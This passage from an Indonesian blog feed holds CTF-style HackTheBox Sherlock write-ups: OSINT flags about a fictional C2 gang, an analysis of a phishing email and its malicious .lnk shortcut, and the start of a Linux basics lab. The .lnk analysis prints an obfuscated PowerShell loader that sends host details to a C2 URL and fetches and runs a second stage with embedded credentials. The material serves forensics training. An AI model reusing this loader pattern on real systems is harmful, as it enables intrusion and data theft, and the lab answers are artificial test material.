truk <strong>Volvo</strong> dengan model <strong>FH</strong>. Tidak ada indikasi model lain yang digunakan dalam konteks transport ini, sehingga identifikasi dapat dilakukan secara pasti.</p><blockquote><strong><em>Flag: Volvo FH</em></strong></blockquote><h4>Task 10: What is the name of Ledger’s cat?</h4><p>Di thread <strong><em>Holiday stress relief (or lack thereof), </em></strong>Ledger curhat soal rasa frustrasinya di masa liburan karena sering dituntut untuk bahagia.. padahal kondisi pasar pada tutup dan ngga ada yang bisa dilakukan selama 2 minggu</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*gbCvn-jYQlxPAHV4cTQpQg.png" /></figure><p>Tapi dia tiba-tiba bilang:</p><blockquote>Satoshi doesn’t care. He just wants to sleep on the warm laptop.</blockquote><p>Dari situ jelas kalau Ledger punya partner yang menemaninya selama bekerja, dan kebiasaan Satoshi persis kaya kucing pada umumnya yaitu suka duduk diatas laptop wkwk.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*8qZeaHNorKQfA1wM" /><figcaption><a href="https://www.reddit.com/r/aww/comments/kjrlv3/for_some_reason_my_cat_always_sits_on_top_of_my/">https://www.reddit.com/r/aww/comments/kjrlv3/for_some_reason_my_cat_always_sits_on_top_of_my/</a></figcaption></figure><blockquote><strong><em>Flag: Satoshi</em></strong></blockquote><h4>Task 11: What is the primary C2 domain used for beacon check-ins?</h4><p>Bell membuat <em>thread </em>bernama <strong><em>C2 Infrastructure: Domain Registration &amp; SSL, </em></strong>dan ia sedang melakukan registrasi domain untuk infrastuktur C2. Terdapat beberapa domain yang akan digunakan.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*q8gs07L3uq9pmWGB_dVsrg.png" /></figure><p>Keterangan “primary” menunjukkan domain utama yang digunakan untuk komunikasi beacon (check-in) antara endpoint yang terinfeksi dengan server C2.</p><blockquote><strong><em>Flag: health-status-rs.com</em></strong></blockquote><h4>Task 12: In which city is the VPS server hosting the C2 panel?</h4><p>Masih dalam <em>thread </em><strong><em>C2 Infrastructure: Domain Registration &amp; SSL</em></strong>, terdapat pesan dari <strong>Curator</strong> yang membahas kesiapan aktivasi infrastruktur C2.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*HzTucy8nqfc81MQhjkagPA.png" /></figure><p>Dalam pesannya tertulis:</p><blockquote>“Ensure the VPS provider in <strong>Kragujevac</strong> is paid through the end of January.”</blockquote><p>Pernyataan tersebut menunjukkan bahwa VPS provider yang digunakan untuk infrastruktur (termasuk C2 panel) berlokasi di kota <strong>Kragujevac</strong>. Karena konteks percakapan ngebahas kesiapan aktivasi loader dan dependensi infrastruktur, maka VPS yang dimaksud adalah server yang meng-host C2 panel.</p><blockquote><strong><em>Flag: Kragujevac</em></strong></blockquote><h4>Task 13: On what date did the C2 listeners go live?</h4><p>When yh? Pertanyaan ini merujuk ke infrastuktur C2 yang sudah siap dan akan digunakan dalam operasi, nah pada kategori <strong>Malware and Stuff, </strong>Bell mengonfirmasi status dari C2. Bisa dilihat nama thread nya adalah <strong><em>C2 Infrastructure Status: GREEN</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*6sKesKSQI6SQAg4G-g1eyg.png" /></figure><p>Dari namanya sudah jelas kalau kata <em>GREEN </em>artinya SIAP, semacam bahasa universal di dunia untuk menunjukkan kesiapan suatu hal. Bell membuat <em>thread </em>tersebut pada tanggal 12 November 2025 dengan petunjuk awalnya ada di kalimat <em>“listeners are live”</em></p><blockquote><strong><em>Flag: 2025–11–12</em></strong></blockquote><h4>Task 14: In which city is the document forger located?</h4><p>Aku melakukan analisis dari beberapa kategori yang <em>possible, </em>dari pertanyaannya bisa disimpulkan bahwa ini membahas tentang pameran palsu yang sebelumnya sudah direncanakan. Jika masuk ke dalam <em>thread </em><strong><em>Forged Manifests: “Miracles of Winter” Exhibition</em></strong>, kita melihat pesan dari Curator yang bilang bahwa skenario pameran sudah dipersiapkan.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*4xsLAL6stwzQ-BX2NY6-MQ.png" /></figure><p>Dari kalimat <strong><em>“The Bucharest forger”</em></strong> dapat disimpulkan bahwa pelaku pemalsuan dokumen disebut sebagai <strong><em>“Bucharest forger”</em></strong>, yang menunjukkan lokasi pemalsu dokumen berada di kota <strong>Bucharest</strong>. Penyebutan nama kota secara langsung menjadi indikator kuat lokasi operasional pelaku.</p><blockquote><strong><em>Flag: Bucharest</em></strong></blockquote><h4>Task 15: What shell company was used as a backup cover story?</h4><p>Perusahaan cangkang sering dijadikan alternatif lain untuk menyembunyikan motif dari suatu operasi. Sebelum menyelesaikan skenario pameran palsu, pada<em> thread </em><strong><em>Contingency Protocols: If “Carnet” access is revoked</em></strong>, Curator menginfokan ke Ledger untuk menyiapkan invoice dari perusahaan <strong><em>Danube Event Solutions Ltd </em></strong>jika seseorang menghubungi perusahaan itu sebagai kedok.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*jx2WUD_bTeQuZZNrfbX_VA.png" /></figure><blockquote><strong><em>Flag: Danube Event Solutions Ltd</em></strong></blockquote><h4>Task 16: What is the filename of the wipe script used to destroy evidence?</h4><p>Dalam <em>thread </em><strong><em>Server Wipe Protocol</em></strong>, isinya ngebahas tentang detail dari script burn_cycle.sh yang berfungsi untuk menghilangkan bukti digital secara permanen jika operasi mereka gagal atau <em>compromised</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*-kUhrSmokFuS1U-5kToJhg.png" /></figure><blockquote><strong><em>Flag: burn_cycle.sh</em></strong></blockquote><h4>Task 17: What is the name of the escape vessel?</h4><p>Ngomongin tentang <em>“exit strategy”</em>, tidak lepas dari perencanaan yang matang, timing yang presisi, dan mitigasi risiko. <em>Exit strategy </em>bukan sekadar rencana keluar, tetapi skenario terstruktur yang mencakup jalur alternatif, sumber daya yang dibutuhkan, serta langkah kontingensi jika situasi berubah.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*AcsyAUxayFvXqvIxyf8I1A.png" /></figure><p>Pada <em>thread </em><strong><em>Exfiltration Protocol: Staging South Exit Route</em></strong>, Curator menjelaskan prosedur pelarian melalui jalur laut untuk Driver_BUD. Di dalam pesan utama terdapat kalimat yang menyebutkan kedatangan sebuah kapal pada pukul 04:00. Nama kapal tersebut, “Adriatic Wind”, ditampilkan secara jelas dengan penggunaan tanda kutip.</p><blockquote><strong><em>Flag: Adriatic Wind</em></strong></blockquote><h4>Task 18: What is the captain’s name?</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*h3R5DzkYPHynfda6HZ10nA.png" /></figure><p>Masih dalam pesan yang sama, setelah menyebutkan kedatangan kapal <em>Adriatic Wind</em>, terdapat instruksi lanjutan dari Curator:</p><blockquote>“Ask for Stavros. He speaks Serbian.”</blockquote><p>Kalimat ini menunjukkan bahwa Stavros adalah kontak utama di kapal tersebut. Dalam skenario pelarian laut, orang yang harus dicari dan memiliki otoritas di atas kapal kemungkinan besar adalah kapten atau pihak yang bertanggung jawab atas proses evakuasi.</p><p>Karena tidak ada nama lain yang dikaitkan langsung dengan pengoperasian kapal, maka dapat disimpulkan bahwa nama kapten yang dimaksud dalam <em>chall </em>adalah <strong>Stavros</strong>.</p><blockquote><strong><em>Flag: Stavros</em></strong></blockquote><h4>Task 19: What are the GPS coordinates of the emergency extraction point for Driver_BUD?</h4><p>Curator menggunakan frase unik dalam menyampaikan koordinat pelarian untuk Driver, yaitu <strong>twitchy develop hulk. </strong>Tapi ini bukan tentang hulk yang ijo ijo itu 😭.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/872/1*kJd0yNerX3R7fVWaeAAQKg.png" /></figure><p>Dalam perspektif GEOINT, kombinasi tiga kata unik yang biasanya dipisahkan dengan spasi atau tanda titik merupakan ciri khas sistem What3Words (w3w). Sistem ini membagi seluruh permukaan bumi ke dalam grid 3x3 meter dan menetapkan tiga kata berbeda untuk setiap titiknya.</p><p>Kita coba decode frasa tersebut melalui <a href="https://what3words.com/twitchy.develop.hulk">What3Words</a> untuk mendapatkan koordinat yang spesifik dengan cara:</p><ul><li>klik <strong>Share</strong></li><li>pilih<strong> Customise share settings</strong></li><li>klik toggle <strong>Latitude &amp; Longitude </strong>untuk menampilkan koordinat berbasis garis imajiner</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/468/1*tiGGXkvI0Ky1PelGe43gwg.png" /></figure><p>What3Words berfungsi sebagai alternatif penyampaian lokasi selain koordinat latitude–longitude konvensional. Karena mampu merepresentasikan posisi secara presisi dan mudah dikenali, sistem ini relevan dalam GEOINT, yang berfokus pada pemanfaatan data geospasial untuk menghasilkan intelijen berbasis lokasi.</p><blockquote><strong><em>Flag: 37.936489, 23.68644</em></strong></blockquote><h4>Task 20: What are the GPS coordinates of the farmhouse hideout?</h4><p>Pada thread <strong><em>Staging Point ‘South’: Site access and concealment</em></strong>, Driver menjelaskan kondisi properti yang digunakan sebagai lokasi persembunyian. Di dalam pesan itu Driver menuliskan koordinat GPS dengan format desimal:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*VBA0kjVBEYZOqZk3Tsw9gA.png" /></figure><blockquote>“gps coords for your nav: 43.84947615369828, 20.92715775614975”</blockquote><p>Karena koordinat diberikan langsung tanpa <em>encoding </em>atau penyamaran, dan konteks percakapan membahas lokasi <em>staging</em>, maka dapat disimpulkan bahwa angka tersebut merupakan koordinat <em>farmhouse hideout</em> yang dimaksud.</p><blockquote><strong><em>Flag: 43.84947615369828, 20.92715775614975</em></strong></blockquote><p>Akhirnya kita dapat menyelesaikan tantangan dari lab AoTR 2: Operation Winter Blackout, semoga write-up ini bermanfaat buat kalian yang sedang mengerjakan lab ini atau lagi bingung dan kesulitan dalam menyelesaikan setiap <em>chall </em>nya(/≧▽≦)/. <em>See you on the next challenge </em>👋🏼</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=70744d3f183a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB | AoTR 1: A Call from the Museum Write-Up]]></title>
            <link>https://medium.com/@nasakennedy40/hackthebox-aotr-1-a-call-from-the-museum-write-up-ecd79cf33c05?source=rss-f6cd7b1f4b6d------2</link>
            <guid isPermaLink="false">https://medium.com/p/ecd79cf33c05</guid>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <dc:creator><![CDATA[Aqilah Syaima' Fadel]]></dc:creator>
            <pubDate>Tue, 24 Feb 2026 05:07:57 GMT</pubDate>
            <atom:updated>2026-02-26T00:33:52.891Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*yY3__ordIeWqtb5hKe_7vQ.png" /></figure><p>Hello guys, saya kembali (✿◡‿◡). Di artikel ini kita bakal ngebahas sebuah <em>challenge </em>dari platform <a href="https://www.hackthebox.com/">HTB</a> yaitu <strong>Sherlocks</strong>,<strong> </strong><em>challenge </em>berbasis investigasi digital forensic &amp; incident response yang akan mengulik rasa penasaran kamu dalam menyelesaikan sebuah case.</p><p>Lab AoTR 1: A Call from the Museum terdiri dari 8 <em>chall. </em>Disini aku jelaskan panduan dan tahapan dalam menyelesaikan Lab AoTR 1: A Call from the Museum. Enjoy 🍵</p><h4>Synopsis</h4><blockquote>On a quiet mid-November evening, a fatigued CALE employee opened an unexpected email and, without much thought, followed the instructions it contained. Moments later, something felt off, panic set in, and he abruptly yanked the power cable from the wall to stop whatever had started. One month later, that same email resurfaces as the crucial starting point of a cyber investigation, holding the first clues to what really happened.</blockquote><p>Untuk bisa menjawab <em>chall, </em>unduh file nya dan ekstrak agar kita bisa menyelesaikan setiap task nya.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*udT77LSmHe_8eOIQrqLJPw.png" /></figure><p>Kita akan mendapatkan file .pdf yang berisi intro ke chall, dan file .eml yang akan kita analisis</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/436/1*FBoebu6HHPUj2kVefzyt8w.png" /></figure><h4>Task 1: Who is the suspicious sender of the email?</h4><p>🥷🏼Siapa pengirim email yang mencurigakan tersebut? Ayo kita bedah lebih dalam email yang kita dapatkan.</p><h4>Step 1:</h4><p>Buka file .eml dengan perintah <strong>thunderbird URGENT_\ Updated\ Health\ &amp;\ Customs\ Compliance\ for\ Cross-Border\ Festive\ Event.eml</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*wK7K6JQ6gss1VpGqwHYcnQ.png" /></figure><h4>Step 2:</h4><p>Lihat pada header email yang menampilkan pengirim email dan penerima email, ada 2 komponen penting yaitu:</p><ul><li><strong>Sender: eu-health@ca1e-corp.org</strong><br>Adalah email palsu yang mengatasnamakan perusahaan CALE dengan menyamar sebagai tim dari Logistik EU Health.</li><li><strong>Receiver: Kamil Poltavez (kamil.poltavez@cale-corp.org)</strong><br>Salah satu karyawan di perusahaan CALE yang menjadi target <em>phishing</em></li></ul><p>Email yang dipalsukan dan dikemas agar tampak seolah-olah berasal dari instansi resmi merupakan salah satu ciri utama <em>phishing</em>, di mana pelaku berusaha mengelabui korban dengan meniru tampilan, bahasa, dan identitas organisasi terpercaya.</p><p>Berdasarkan pemeriksaan header email, diketahui bahwa email tersebut dikirim dari alamat eu-health@ca1e-corp.org. Domain ini dibuat agar terlihat mirip dengan domain resmi @cale.corp.org, dengan mengganti huruf “l” menjadi angka “1”, sehingga dapat mengecoh penerima email.</p><blockquote><strong><em>Flag: eu-health@ca1e-corp.org</em></strong></blockquote><h4>Task 2: What is the legitimate server that initially sent the email?</h4><p>Untuk mengetahui struktur email lebih detail, kita akan gunakan utilitas <strong>less </strong>di terminal.</p><h4>Step 1:</h4><p>Gunakan <em>command </em><strong>less namafile.eml | head</strong>untuk melihat header dari file email tersebut.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*8lL7wTbl_vLiqj2TeICa8Q.png" /></figure><p>Berdasarkan informasi tersebut, dapat diketahui bahwa email dikirim melalui server <strong>BG1P293CU004.outbound.protection.outlook.com</strong>, yang tercatat sebagai server pengirim email ke penerima (Kamil). Dalam konteks file email (.eml), <strong>Received</strong> adalah catatan jejak perjalanan email yang menunjukkan bagaimana dan dari mana email tersebut dikirim hingga sampai ke penerima.</p><blockquote><strong><em>Flag: </em></strong><strong><em>BG1P293CU004.outbound.protection.outlook.com</em></strong></blockquote><h4><strong>Task 3: What is the attachment filename?</strong></h4><p>Masih dengan file. eml tersebut, jika ditelusuri lebih jauh, pengirimnya melampirkan sebuah file .zip dengan nama <strong>Health_Clearance-December_Archive.zip</strong> beserta password untuk membuka file nya.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/685/1*VJnpIj0Mq58O3WCWy6sXBQ.png" /></figure><blockquote><strong><em>Flag: Health_Clearance-December_Archive.zip</em></strong></blockquote><h4><strong>Task </strong>4: What is the Document Code?</h4><p>🔎Document code? Tadi sebelumnya kita sudah mengetahui ada file yang terlampir di email tersebut. Bagaimana kalau kita analisis file nya hehe.</p><h4>Step 1:</h4><p>Download file <strong>Health_Clearance-December_Archive.zip,</strong> ketika ingin di ekstrak, file meminta verifikasi password agar kita bisa membukanya.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/797/1*IgCLsPgs3WYHoutnMl9QSQ.png" /></figure><p>Masukkan password <strong>Up7Pk99G<em> </em></strong>untuk membuka .zip.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/920/1*NZYYoGebuHSf8f2CO61NHQ.png" /></figure><p>File .zip berhasil di ekstrak. Kita mendapatkan 2 file yaitu:</p><ul><li><strong>EU_Health_Compliance_Portal.lnk</strong></li><li><strong>Health_Clearance_Guidelines.pdf</strong></li></ul><h4>Step 2:</h4><p>Karena <em>chall </em>nya berhubungan dengan dokumen, maka kita akan analisis file bernama <strong>Health_Clearance_Guidelines.pdf</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/850/1*EnVefizEZUyrV87HljoSIQ.png" /></figure><p>Di awal kalimat, terdapat string “Document Code EU-HMU-24X” yang sepertinya kode surat dari organisasi CALE, dan tentunya file tersebut hanyalah tipuan agar terlihat seperti dokumen resmi yang dikeluarkan oleh CALE</p><blockquote><strong><em>Flag: EU-HMU-24X</em></strong></blockquote><h4>Step untuk menjawab task 5 — task 8:</h4><p>File .pdf sudah dianalisis, namun masih ada 1 file yang mencurigakan yaitu <strong>EU_Health_Compliance_Portal.lnk.</strong> File .lnk adalah file pintasan yang digunakan oleh sistem operasi Windows untuk mengarahkan pengguna ke file atau program tertentu. Meskipun terlihat sederhana, file ini dapat menyimpan informasi penting seperti lokasi file target, jenis objek yang dituju, serta program atau perintah yang dijalankan saat shortcut dibuka. Oleh karena itu, file .lnk sering dimanfaatkan dalam serangan <em>malware </em>atau <em>phishing </em>untuk mengeksekusi file berbahaya secara tidak langsung.</p><p>Untuk memeriksa isi file, gunakan perintah<strong> cat namafile.lnk</strong></p><pre>┌──(root㉿kali)-[/home/aqilah/Downloads/Health_Clearance-December_Archive]<br>└─# cat EU_Health_Compliance_Portal.lnk <br>L�F�@ ��T��S��[允n�W�V��S��<br>P�O� �:i�+00�/C:\V1�[�Windows@  ﾇOwH�[�.+q��WindowsZ1�[�CSystem32B    ﾇOwH�[�.�<br>                  [�System32▒t1�O�IWindowsPowerShellT   ﾇO�I�[�].����WindowsPowerShell N1n[�v1.0:      ﾇO�I�[a].��hRv1.0l2�l[�n powershell.exeN       ��l[�n�[�.?����!powershell.exeh-g9_x�C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeE..........\Windows\System32\WindowsPowerShell\v1.0\powershell.exeX -nONi -nOp -eXeC bYPaSs -cOmManD &quot;$Bs = (-join(&#39;Basic c3&#39;,&#39;ZjX3Rlb&#39;,&#39;XA6U2&#39;,&#39;5&#39;,&#39;vd0JsY&#39;,&#39;WNrT&#39;,&#39;3V&#39;,&#39;0X&#39;,&#39;zIwM&#39;,&#39;jYh&#39;));saps .\Health_Clearance_Guidelines.pdf;$AX=$env:USERNAME;$oM=[System.Uri]::UnescapeDataString(&#39;https%3A%2F%2Fhealth%2Dstatus%2Drs%2Ecom%2Fapi%2Fv1%2Fcheckin&#39;);$Bz=$env:USERDOMAIN;$Lj=[System.Uri]::UnescapeDataString(&#39;https%3A%2F%2Fadvent%2Dof%2Dthe%2Drelics%2Dforum%2Ehtb%2Eblue%2Fapi%2Fv1%2Fimplant%2Fcid%3D&#39;);$Mw=(gp HKLM:\SOFTWARE\Microsoft\Cryptography).MachineGuid;$pP = @{u=$AX;d=$Bz;g=$Mw};$Zu=(iwr $oM -Method POST -Body $pP).Content;$Hd = @{Authorization = $Bs };iwr -Headers $Hd $Lj$Zu | iex;   &quot;&lt;C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe�%ProgramFiles(x86)%\Microsoft\Edge\Application\msedge.exe%ProgramFiles(x86)%\Microsoft\Edge\Application\msedge.exe�%�<br>                            �wN�▒�]N�D.��Q���`�Xdesktop-sklaobg8���6{H���T7s�Z�������PV���8���6{H���T7s�Z�������PV���� ��1SPS��XF�L8C���&amp;�m�m.S-1-5-21-3851990202-555444369-4010610828-100191SPS�mD��pH�H@.�=x�hH]�R�EHK�F�Bg��</pre><p>Berdasarkan hasil pemeriksaan isi file <strong>EU_Health_Compliance_Portal.lnk</strong>, dapat diketahui bahwa file tersebut bukan sekadar shortcut biasa. Di dalamnya terdapat referensi ke <strong>powershell.exe</strong> beserta perintah PowerShell yang akan dijalankan secara otomatis saat file dibuka. Perintah ini disamarkan (<em>obfuscated</em>) dan dirancang untuk mengumpulkan informasi sistem serta melakukan komunikasi dengan alamat server eksternal.</p><p>Selain menjalankan perintah tersembunyi, file .lnk ini tetap membuka dokumen .pdf sebagai umpan agar pengguna tidak menyadari aktivitas yang terjadi di latar belakang. Pola tersebut menunjukkan bahwa file .lnk digunakan sebagai media eksekusi tidak langsung dan dapat dikategorikan sebagai file berbahaya yang umum ditemukan pada serangan phishing atau malware berbasis shortcut Windows.</p><h4><strong>Task </strong>5: What is the full URL of the C2 contacted through a POST request?</h4><p>Dari output cat, ditemukan variabel PowerShell berikut:</p><pre>$oM=[System.Uri]::UnescapeDataString(&#39;https%3A%2F%2Fhealth%2Dstatus%2Drs%2Ecom%2Fapi%2Fv1%2Fcheckin&#39;)</pre><p>String <em>URL </em>tersebut masih dalam format <em>URL-encoded</em>, sehingga perlu dilakukan proses <em>decoding </em>terlebih dahulu untuk memperoleh alamat <em>URL </em>yang utuh. Proses <em>decoding </em>dapat dilakukan menggunakan <a href="https://www.urldecoder.org/">https://www.urldecoder.org/</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/664/1*ZIgQzydACh2yzo-TWylW5A.png" /></figure><p>Kita berhasil mendapatkan URL lengkap yang digunakan untuk POST request. URL tersebut berfungsi sebagai<em> </em><strong><em>Command and Control (C2)</em></strong> untuk menerima data awal dari sistem korban.</p><blockquote><strong><em>Flag: </em></strong><a href="https://health-status-rs.com/api/v1/checkin"><strong><em>https://health-status-rs.com/api/v1/checkin</em></strong></a></blockquote><h4><strong>Task </strong>6: The malicious script sent three pieces of information in the POST request. What is the registry key from which the last one is retrieved?</h4><p>Pada perintah PowerShell ditemukan baris <em>Registry Key</em> yang disamarkan dengan menambahkan beberapa simbol agar terlihat seperti struktur folder biasa.</p><pre>$Mw=(gp HKLM:\SOFTWARE\Microsoft\Cryptography).MachineGuid</pre><p><strong>MachineGuid</strong> pada Windows merupakan pengenal unik untuk instalasi sistem operasi, yang umumnya tersimpan pada <em>registry </em>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography. Nilai ini digunakan untuk mengidentifikasi mesin dalam jaringan, keperluan lisensi perangkat lunak, serta oleh aplikasi keamanan.</p><p>Pada analisis ini, perintah PowerShell mengambil nilai <strong>MachineGuid </strong>dari registry Windows, yang kemudian dikirim sebagai bagian dari data pada POST request untuk mengidentifikasi mesin korban.</p><blockquote><strong><em>Flag: HKLM\SOFTWARE\Microsoft\Cryptography\MachineGuid</em></strong></blockquote><h4><strong>Task </strong>7: Then the script downloads and executes a second stage from another URL. What is the domain?</h4><p>Selain <em>URL </em>C2, masih ada <em>URL </em>lain yang dikirimkan setelah request POST berhasil. Ditemukan string berikut:</p><pre>$Lj=[System.Uri]::UnescapeDataString(&#39;https%3A%2F%2Fadvent%2Dof%2Dthe%2Drelics%2Dforum%2Ehtb%2Eblue%2Fapi%2Fv1%2Fimplant%2Fcid%3D&#39;)</pre><p>Karena bentuk URL nya di <em>encoding, </em>maka lakukan proses <em>decoding </em>terlebih dulu untuk mendapatkan alamat URL yang utuh</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/802/1*jybVwHN-w9GDVLmWRiUNmA.png" /></figure><p>Adapun struktur URL tersebut adalah:</p><ul><li><strong>Protocol</strong>: https</li><li><strong>Domain</strong>: advent-of-the-relics-forum.htb.blue</li><li><strong>Path</strong>: /api/v1/implant/</li><li><strong>Parameter</strong>: cid= (diisi hasil respon dari server C2 pertama)</li></ul><p>Domain advent-of-the-relics-forum.htb.blue merupakan domain yang digunakan oleh skrip berbahaya sebagai server tahap kedua (second stage). Setelah skrip berhasil mengirimkan data awal ke server C2 pertama, domain ini dihubungi untuk mengunduh payload lanjutan yang kemudian langsung dieksekusi pada sistem korban.</p><blockquote><strong><em>Flag: advent-of-the-relics-forum.htb.blue</em></strong></blockquote><h4><strong>Task </strong>8: A set of credentials was used to access the previous resource. Retrieve them.</h4><p>Dari output cat sebelumnya, ada beberapa string berbentuk command yang dieksekusi pada PowerShell yaitu:</p><pre>C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeE..........\Windows\System32\WindowsPowerShell\v1.0\powershell.exeX -nONi -nOp -eXeC bYPaSs -cOmManD &quot;$Bs = (-join(&#39;Basic c3&#39;,&#39;ZjX3Rlb&#39;,&#39;XA6U2&#39;,&#39;5&#39;,&#39;vd0JsY&#39;,&#39;WNrT&#39;,&#39;3V&#39;,&#39;0X&#39;,&#39;zIwM&#39;,&#39;jYh&#39;));saps .\Health_Clearance_Guidelines.pdf;$AX=$env:USERNAME;$oM=</pre><p>Output tersebut menunjukkan bahwa file .lnk menjalankan PowerShell langsung dari direktori sistem Windows. Adapun command yang dijalankan adalah:</p><pre>-nONi -nOp -eXeC bYPaSs -cOmManD &quot;$Bs = (-join(&#39;Basic c3&#39;,&#39;ZjX3Rlb&#39;,&#39;XA6U2&#39;,&#39;5&#39;,&#39;vd0JsY&#39;,&#39;WNrT&#39;,&#39;3V&#39;,&#39;0X&#39;,&#39;zIwM&#39;,&#39;jYh&#39;));saps .\Health_Clearance_Guidelines.pdf;$AX=$env:USERNAME;$oM=</pre><ul><li><strong>-nONi</strong>:menjalankan PowerShell tanpa mode interaktif</li><li><strong>-nOp</strong>: menonaktifkan PowerShell profile</li><li><strong>-eXeC bYPaSs</strong>: melewati kebijakan eksekusi PowerShell</li><li><strong>-cOmManD</strong>: menjalankan perintah yang didefinisikan di dalam string</li></ul><p>String yang akan dieksekusi adalah</p><pre>$Bs = (-join(&#39;Basic c3&#39;,&#39;ZjX3Rlb&#39;,&#39;XA6U2&#39;,&#39;5&#39;,&#39;vd0JsY&#39;,&#39;WNrT&#39;,&#39;3V&#39;,&#39;0X&#39;,&#39;zIwM&#39;,&#39;jYh&#39;))</pre><p>Pelaku sengaja melakukan teknik <em>obfuscation </em>(penyamaran) dengan memecah string menjadi beberapa bagian lalu digabung kembali saat dijalankan menggunakan perintah <strong>-join. </strong>Tujuannya adalah untuk menghindari pembacaan manual serta menyembunyikan fungsi perintah yang sebenarnya.</p><p>Jika potongan string digabung, maka akan terbentuk string utuh dengan format <strong>Base64</strong></p><pre>c3ZjX3RlbXA6U25vd0JsYWNrT3V0XzIwMjYh</pre><p>Untuk mengetahui arti string yang sebenarnya, kita bisa <em>decode </em>menggunakan <a href="https://www.base64decode.org/">https://www.base64decode.org/</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/395/1*MDbWDPjRRdPSNyOFgL-Oqg.png" /></figure><p>Hasilnya kredensial yang digunakan untuk mengakses <em>resource </em>sebelumnya adalah <strong><em>svc_temp:SnowBlackOut_2026!</em></strong></p><blockquote><strong><em>Flag: svc_temp:SnowBlackOut_2026!</em></strong></blockquote><p>Akhirnya kita dapat menyelesaikan tantangan dari lab AoTR 1: A Call from the Museum, semoga write-up ini bermanfaat buat kalian yang sedang mengerjakan lab ini atau lagi bingung dan kesulitan dalam menyelesaikan setiap <em>chall </em>nya(/≧▽≦)/. <em>See you on the next challenge </em>👋🏼</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ecd79cf33c05" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Lab 01: Introduction to Digital Forensics]]></title>
            <link>https://medium.com/@nasakennedy40/lab-01-introduction-to-digital-forensics-01afe2383b64?source=rss-f6cd7b1f4b6d------2</link>
            <guid isPermaLink="false">https://medium.com/p/01afe2383b64</guid>
            <category><![CDATA[digital-forensics]]></category>
            <category><![CDATA[linux]]></category>
            <dc:creator><![CDATA[Aqilah Syaima' Fadel]]></dc:creator>
            <pubDate>Tue, 17 Feb 2026 15:12:06 GMT</pubDate>
            <atom:updated>2026-02-18T23:31:33.478Z</atom:updated>
            <content:encoded><![CDATA[<h3>Linux Fundamental</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*woHwW3p0yYV7v8JY.jpg" /><figcaption>forensic investigator</figcaption></figure><p>🔎Digital forensik merupakan cabang dari ilmu forensik yang berfokus pada identifikasi, pelestarian, analisis dan interpretasi bukti digital secara ilmiah untuk mendukung proses pengadilan dalam menyelesaikan suatu perkara.</p><h3>Exercise</h3><p>Pada lab <a href="https://github.com/vonderchild/digital-forensics-lab/tree/main/Lab%2001">https://github.com/vonderchild/digital-forensics-lab/tree/main/Lab%2001</a>, ada 10 soal yang membahas tentang dasar-dasar dari perintah Linux. Tiap soal akan dibahas satu persatu agar lebih memahami tugas yang dikerjakan.</p><h4><strong>1. If we wanted to list all the .txt files in the current directory, what command would we want to use?</strong></h4><p>Gunakan perintah <strong>ls | grep .txt. </strong>Kombinasi antara <strong>ls </strong>dan <strong>grep </strong>memungkinkan direktori menampilkan data didalam <em>current directory</em> secara spesifik dengan memanfaatkan pola teks atau string dari perintah <strong>grep</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/620/1*xgt3daHaNdYD_R4toQGnoQ.png" /></figure><h4>Alternative:</h4><p>Selain menggunakan <strong>grep</strong>, cara yang lebih simpel yaitu menggunakan <strong>* </strong>(asterisk), simbol ini akan menampilkan seluruh isi direktori dengan filter .txt</p><pre>┌──(root㉿kali)-[/home/aqilah/Downloads]<br>└─# ls *.txt<br>output_red2.txt  output_red.txt  red.txt</pre><h4><strong>Basic ls</strong></h4><p>Dalam linux,<strong> </strong><strong>ls</strong>(list) adalah perintah dasar yang berfungsi untuk menampilkan isi dari sebuah direktori berupa file yang tidak tersembunyi, dan subdirektori didalam <em>current directory</em>. Seperti contoh dibawah ini, <strong>/Downloads</strong> adalah direktori aktif yang sedang kita diakses.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*032R07uSnjXWU9M69f034Q.png" /></figure><h4><strong>ls -a</strong></h4><p><strong>ls -a (all) </strong>Adalah perintah untuk menampilkan seluruh isi direktori saat ini, termasuk file dan subdirektori tersembunyi (ditandai dengan 